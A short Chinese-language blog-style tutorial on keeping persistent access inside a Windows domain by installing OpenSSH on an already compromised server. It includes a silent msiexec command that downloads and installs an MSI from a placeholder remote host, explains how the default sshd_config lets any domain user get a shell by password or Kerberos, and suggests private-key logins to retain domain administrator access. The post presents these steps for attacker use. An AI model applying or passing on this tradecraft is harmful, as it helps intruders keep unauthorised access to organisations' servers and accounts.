巧用OpenSSH进行域内权限维持
最近在Windows服务器上安装OpenSSH,意外发现了一个很有意思的技巧,可用来做域内权限维持,废话不多说,直接上步骤。
01、利用方式
(1)在已经获得权限的Windows服务器上,使用msiexec安装openssh,一行命令静默安装,不需要任何设置。
msiexec /i "http://x.x.x.x/OpenSSH-Win64.msi"
(2)在默认安装的情况下,配置文件:C:\ProgramData\ssh\sshd_config,默认的配置信息只有两行,如果不熟悉OpenSSH很难从配置文件中获取有效信息。
Match Group administrators
AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
当然,它默认是允许密码登录,而在域环境中,其实是可以使用kerberos完成ssh认证和登录,这一点往往是被管理员忽略的,而恰恰是可以被我们所利用的地方。
(3)这个时候,我们可以使用任意一个域用户登录认证,即可获取服务器shell权限。
这个点就很有意思了,试想一下,一台域内的服务器安装了openssh,如果不进行用户登录控制,任意一个域内用户可通过密码认证登录ssh获取shell权限。
02、可能存在的利用场景
(1)假设你拿到了一个域内普通用户的权限,而恰巧探测到某台Windows域内服务器安装OpenSSH,你可以考虑尝试用域用户登录ssh,可能会有意外的惊喜。
(2)假设你已经获取了域内某台服务器的权限,你可以考虑使用OpenSSH结合私钥免密码登录的方式完成域内管理员权限维持,不也是一种权限维持的好办法嘛。